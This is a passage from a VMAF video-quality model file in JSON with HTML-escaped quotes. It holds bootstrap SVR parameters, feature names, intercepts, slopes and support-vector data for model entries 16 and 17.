1:0.5810431 2:0.047285912 3:0.43113594 4:0.74141738 5:0.76929188 6:0.77018949 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n4 1:0.90795371 2:0.58937038 3:0.58823535 4:0.80035053 5:0.86988422 6:0.90533033 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n-4 1:0.82949905 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n-4 1:0.73985421 2:0.04579546 3:0.499439 4:0.84012074 5:0.90229375 6:0.92936693 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n-4 1:0.73815918 2:0.25207203 3:0.29691153 4:0.66166141 5:0.73408074 6:0.77757209 \n4 1:0.4730794 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n4 1:0.90795371 2:0.58937038 3:0.58823535 4:0.80035053 5:0.86988422 6:0.90533033 \n4 1:0.91839373 2:0.04579546 3:0.69472114 4:0.97790884 5:0.9891237 6:0.993277 \n4 1:0.74778935 2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n-4 1:0.83887552 2:0.08765484 3:0.58154998 4:0.82429855 5:0.8858516 6:0.91563291 \n-4 1:0.69816754 2:0.34681232 3:0.11526222 4:0.68549511 5:0.78556255 6:0.83507583 \n-4 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n4 1:0.5898908 2:0.055921852 3:0.31791569 4:0.72365433 5:0.88324129 6:0.93484545 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n4 1:0.75700132 2:1 3:0.28883701 4:0.65284485 5:0.75623242 6:0.81297442 \n-4 1:0.4688131 2:0.34681232 3:0.041939301 4:0.45284872 5:0.5157613 6:0.55335821 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n-4 1:0.4688131 2:0.34681232 3:0.041939301 4:0.45284872 5:0.5157613 6:0.55335821 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n4 1:0.78333908 2:0.20629643 3:0.24707248 4:0.72284103 5:0.83178838 6:0.88053503 \n4 1:0.7890525 2:0.20820673 3:0.3510016 4:0.74206651 5:0.83508543 6:0.88101902 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n4 4:0.10344019 5:0.34323945 6:0.63855969 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n-4 1:0.70997536 2:0.083369236 3:0.42718441 4:0.69347659 5:0.81124449 6:0.87136343 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n4 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n-4 1:0.66561759 2:0.083369236 3:0.37833052 4:0.59301482 5:0.71772587 6:0.7905538 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;16&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 210\nrho -1.45024\nSV\n4 1:0.89778056 2:1 3:0.43235998 4:0.86707094 5:0.92632217 6:0.95151451 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n4 1:0.90420201 2:0.15600331 3:0.19693206 4:0.86294641 5:0.92990351 6:0.95498998 \n-4 1:0.58396162 2:0.20629643 3:0.13877412 4:0.4724047 5:0.59295828 6:0.66834832 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n4 1:0.90795371 2:0.58937038 3:0.58823535 4:0.80035053 5:0.86988422 6:0.90533033 \n4 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n-4 1:0.76491447 2:0.047285912 3:0.49613729 4:0.87838146 5:0.91688438 6:0.93150362 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n-4 1:0.78583004 2:0.48885268 3:0.4012577 4:0.70792536 5:0.80063653 6:0.85083872 \n4 1:0.25896526 2:0.04579546 3:0.31879 4:0.45852885 5:0.59717781 6:0.71487885 \n-4 1:0.67240963 2:0.16787772 3:0.54473368 4:0.69254626 5:0.74796983 6:0.77177867 \n4 1:0.76399364 2:0.04579546 3:0.52334234 4:0.88859427 5:0.94013924 6:0.95946903 \n4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n-4 1:0.58396162 2:0.20629643 3:0.13877412 4:0.4724047 5:0.59295828 6:0.66834832 \n1.371269410643672 1:0.85355434 2:0.34681232 3:0.18754744 4:0.83526909 5:0.90421808 6:0.93421072 \n4 1:0.34770698 2:0.58937038 3:0.24672569 4:0.24188506 5:0.29544562 6:0.33843061 \n-4 1:0.65966561 2:0.20820673 3:0.27420721 4:0.57889989 5:0.68485118 6:0.74837036 \n-4 1:0.66382463 2:0.93973481 3:0.28594627 4:0.63969879 5:0.73360583 6:0.78380069 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n4 1:0.91061528 2:0.22767235 3:0.35742938 4:0.89821492 5:0.94339974 6:0.96076173 \n-4 1:0.32027025 2:0.49739676 3:0.17094319 4:0.12195679 5:0.13277563 6:0.14165413 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n-4 1:0.68443073 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 \n4 1:0.54184698 2:0.58937038 3:0.29851601 4:0.34826788 5:0.42168642 6:0.47203603 \n-4 1:0.79740378 2:0.047285912 3:0.49225957 4:0.86357299 5:0.89948127 6:0.91221155 \n-4 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5:0.29785605 6:0.33368644 \n-4 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n-4 1:0.68687464 2:0.93973481 3:0.2669659 4:0.56720118 5:0.63868728 6:0.67673331 \n4 1:0.79373193 2:0.58937038 3:0.47493233 4:0.66775916 5:0.76196439 6:0.81489875 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;17&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 210\nrho -1.19178\nSV\n-4 1:0.40634904 2:0.04579546 3:0.35412414 4:0.55926446 5:0.70175505 6:0.79649177 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n4 1:0.80205907 2:0.22767235 3:0.26078021 4:0.76359704 5:0.8470807 6:0.8858359 \n4 1:0.98644504 2:0.055921852 3:0.7405327 4:0.96928567 5:0.9853799 6:0.99080378 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n-4 1:0.59637711 2:1 3:0.19031962 4:0.43030863 5:0.5277316 6:0.59069772 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n-4 1:0.85355434 2:0.34681232 3:0.18754744 4:0.83526909 5:0.90421808 6:0.93421072 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n-4 1:0.74644956 2:0.34681232 3:0.12095689 4:0.68834617 5:0.77453583 6:0.81892861 \n3.373890210384199 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n-4 1:0.65970734 2:1 3:0.23706331 4:0.5477205 5:0.66054901 6:0.7269284 \n4 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n4 1:0.39257764 2:0.22767235 3:0.12019254 4:0.3951559 5:0.44657802 6:0.46771549 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n-4 1:0.68443073 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 \n4 1:0.71284767 2:0.22767235 3:0.2263303 4:0.68859985 5:0.78706365 6:0.83662428 \n-4 1:0.67850561 2:0.20629643 3:0.19487894 4:0.63045155 5:0.76931142 6:0.83706632 \n4 1:0.61342581 2:0.49612229 3:0.27561601 4:0.33977371 5:0.4325213 6:0.50244952 \n-4 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n4 1:0.79373193 2:0.58937038 3:0.47493233 4:0.66775916 5:0.76196439 6:0.81489875 \n-4 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n4 1:0.67544021 3:0.19261438 4:0.76066415 5:0.89973293 6:0.93660362 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n-4 1:0.75331875 2:0.047285912 3:0.46606653 4:0.81323145 5:0.84847474 6:0.85892657 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n4 1:0.28569186 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n4 1:0.79373193 2:0.58937038 3:0.47493233 4:0.66775916 5:0.76196439 6:0.81489875 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n-4 1:0.73166122 2:0.25207203 3:0.3051639 4:0.67537297 5:0.75767261 6:0.80327187 \n-4 1:0.66561759 2:0.083369236 3:0.37833052 4:0.59301482 5:0.71772587 6:0.7905538 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n-4 1:0.57776221 2:0.08765484 3:0.42071301 4:0.56376512 5:0.66454599 6:0.741236 \n4 1:0.89725962 2:0.48885268 3:0.5143645 4:0.8587242 5:0.91841685 6:0.94498293 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n-4 1:0.69981151 2:0.54342577 3:0.21726369 4:0.60683566 5:0.72232536 6:0.78414054 \n-4 1:0.67850561 2:0.20629643 3:0.19487894 4:0.63045155 5:0.76931142 6:0.83706632 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n-4 1:0.3070772 2:0.93973481 3:0.18757116 4:0.34864297 5:0.3777168 6:0.38922611 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n4 1:0.25896526 2:0.04579546 3:0.31879 4:0.45852885 5:0.59717781 6:0.71487885 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n-4 1:0.69518774 2:0.20629643 3:0.1796405 4:0.56432133 5:0.68049028 6:0.74616621 \n4 1:0.62349716 2:0.42532178 3:0.27349745 4:0.5196735 5:0.60339149 6:0.65103342 \n-0.09852371407581535 1:0.48387441 2:0.20820673 3:0.20172681 4:0.39715881 5:0.47368229 6:0.52781628 \n4 1:0.72746732 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n-4 1:0.73985421 2:0.04579546 3:0.499439 4:0.84012074 5:0.90229375 6:0.92936693 \n4 1:0.73710984 2:0.23066177 3:0.49544357 4:0.66648649 5:0.76052819 6:0.81482311 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n-4 1:0.79740378 2:0.047285912 3:0.49225957 4:0.86357299 5:0.89948127 6:0.91221155 \n-4 1:0.65624547 2:0.34681232 3:0.092281981 4:0.61278125 5:0.70626575 6:0.75613977 \n4 1:0.90573613 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n4 1:0.66051984 2:0.58937038 3:0.40045124 4:0.55415203 5:0.66628031 6:0.73418465 \n-4 1:0.57776221 2:0.08765484 3:0.42071301 4:0.56376512 5:0.66454599 6:0.741236 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n4 1:0.76382055 2:0.22767235 3:0.22331233 4:0.67735915 5:0.77029889 6:0.81802539 \n3.42140906285268 1:0.62552631 2:0.49739676 3:0.30895604 4:0.40532955 5:0.48355121 6:0.54476585 \n4 1:0.91341872 3:0.45198963 4:0.97703695 5:0.9907273 6:0.99510256 \n4 1:0.93011029 2:0.23066177 3:0.71439481 4:0.90904598 5:0.94146542 6:0.95674338 \n-4 1:0.72319868 2:0.16787772 3:0.57600091 4:0.75310216 5:0.81471966 6:0.84249923 \n4 1:0.4730794 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n4 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n0.4575646335842737 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n-4 1:0.85632141 2:0.93973481 3:0.36718425 4:0.81512123 5:0.88887359 6:0.92320992 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n4 1:0.71284767 2:0.22767235 3:0.2263303 4:0.68859985 5:0.78706365 6:0.83662428 \n-4 1:0.73251944 2:0.15600331 3:0.11085278 4:0.68794624 5:0.80350923 6:0.85660483 \n4 1:0.28569186 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n-4 1:0.35760888 2:0.34681232 3:0.027607294 4:0.40659646 5:0.45456869 6:0.48256597 \n-4 1:0.77121222 2:0.25207203 3:0.33053889 4:0.73085549 5:0.80341439 6:0.84546456 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n4 1:0.61342581 2:0.49612229 3:0.27561601 4:0.33977371 5:0.4325213 6:0.50244952 \n-4 1:0.69622281 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n4 1:0.25896526 2:0.04579546 3:0.31879 4:0.45852885 5:0.59717781 6:0.71487885 \n-4 1:0.51603659 2:1 3:0.14452095 4:0.31406915 5:0.38353445 6:0.42653517 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n-4 1:0.69816754 2:0.34681232 3:0.11526222 4:0.68549511 5:0.78556255 6:0.83507583 \n-4 1:0.4197563 2:0.20629643 3:0.10015785 4:0.36799816 5:0.4733947 6:0.55804832 \n-4 1:0.4874691 2:0.23066177 3:0.32329421 4:0.33686197 5:0.39456977 6:0.44944683 \n4 1:0.18980624 3:0.034330388 4:0.25480402 5:0.54197045 6:0.78020579 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n-4 1:0.67240963 2:0.16787772 3:0.54473368 4:0.69254626 5:0.74796983 6:0.77177867 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n4 1:0.39257764 2:0.22767235 3:0.12019254 4:0.3951559 5:0.44657802 6:0.46771549 \n4 1:0.87931568 2:0.22767235 3:0.31750162 4:0.85145925 5:0.9121085 6:0.93772147 \n-4 1:0.76491447 2:0.047285912 3:0.49613729 4:0.87838146 5:0.91688438 6:0.93150362 \n4 1:0.67227079 2:0.22767235 3:0.19328493 4:0.60107975 5:0.69684945 6:0.74949279 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n-4 1:0.41563731 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n4 1:0.77998422 2:0.49739676 3:0.43832146 4:0.63397606 5:0.7240692 6:0.78367237 \n-4 1:0.79740378 2:0.047285912 3:0.49225957 4:0.86357299 5:0.89948127 6:0.91221155 \n-4 1:0.77121222 2:0.25207203 3:0.33053889 4:0.73085549 5:0.80341439 6:0.84546456 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n-1.901476285924184 1:0.69517962 2:0.083369236 3:0.36350305 4:0.54888271 5:0.66506794 6:0.73685112 \n-4 1:0.65966561 2:0.20820673 3:0.27420721 4:0.57889989 5:0.68485118 6:0.74837036 \n4 4:0.10344019 5:0.34323945 6:0.63855969 \n4 1:0.91341872 3:0.45198963 4:0.97703695 5:0.9907273 6:0.99510256 \n4 1:0.74778935 2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n4 1:0.28569186 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n4 1:0.66051984 2:0.58937038 3:0.40045124 4:0.55415203 5:0.66628031 6:0.73418465 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n-4 1:0.85632141 2:0.93973481 3:0.36718425 4:0.81512123 5:0.88887359 6:0.92320992 \n-4 1:0.48213397 2:0.16787772 3:0.49792761 4:0.59161372 5:0.62979552 6:0.64254584 \n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n-4 1:0.69691564 2:0.48885268 3:0.35289928 4:0.61359907 5:0.7217863 6:0.78790011 \n4 1:0.94938914 2:0.055921852 3:0.61526026 4:0.94655706 5:0.97211195 6:0.98210701 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n-4 1:0.69517962 2:0.083369236 3:0.36350305 4:0.54888271 5:0.66506794 6:0.73685112 \n4 1:0.34770698 2:0.58937038 3:0.24672569 4:0.24188506 5:0.29544562 6:0.33843061 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n4 1:0.4730794 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n4 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n4 1:0.67482533 2:0.49612229 3:0.35268026 4:0.4805681 5:0.59603341 6:0.67408692 \n4 1:0.56142653 2:0.49739676 3:0.24752355 4:0.28326524 5:0.33261781 6:0.37104424 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n4 1:0.76526298 2:0.055921852 3:0.38714172 4:0.81340799 5:0.90059649 6:0.93006702 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n4 1:0.8811176 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n4 1:0.57348929 2:0.42532178 3:0.24033766 4:0.43855753 5:0.50243186 6:0.53322825 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n-4 1:0.76491447 2:0.047285912 3:0.49613729 4:0.87838146 5:0.91688438 6:0.93150362 \n4 1:0.91341872 3:0.45198963 4:0.97703695 5:0.9907273 6:0.99510256 \n-4 1:0.52033349 2:0.48885268 3:0.27824915 4:0.42915458 5:0.50850476 6:0.58585271 \n4 1:0.98644504 2:0.055921852 3:0.7405327 4:0.96928567 5:0.9853799 6:0.99080378 \n-4 1:0.69691564 2:0.48885268 3:0.35289928 4:0.61359907 5:0.7217863 6:0.78790011 \n-4 1:0.91941823 2:0.93973481 3:0.41336953 4:0.88038833 5:0.93688884 6:0.95992879 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n4 1:0.80205907 2:0.22767235 3:0.26078021 4:0.76359704 5:0.8470807 6:0.8858359 \n-4 1:0.70532989 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n-4 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n-4 1:0.76580991 2:0.93973481 3:0.32205372 4:0.7176044 5:0.80237787 6:0.84588741 \n-4 1:0.77121222 2:0.25207203 3:0.33053889 4:0.73085549 5:0.80341439 6:0.84546456 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n-4 1:0.67240963 2:0.16787772 3:0.54473368 4:0.69254626 5:0.74796983 6:0.77177867 \n-4 1:0.42428709 2:0.93973481 3:0.20295859 4:0.39290035 5:0.43632323 6:0.45871216 \n4 1:0.76382055 2:0.22767235 3:0.22331233 4:0.67735915 5:0.77029889 6:0.81802539 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n-4 1:0.69517962 2:0.083369236 3:0.36350305 4:0.54888271 5:0.66506794 6:0.73685112 \n-4 1:0.74644956 2:0.34681232 3:0.12095689 4:0.68834617 5:0.77453583 6:0.81892861 \n4 1:0.57348929 2:0.42532178 3:0.24033766 4:0.43855753 5:0.50243186 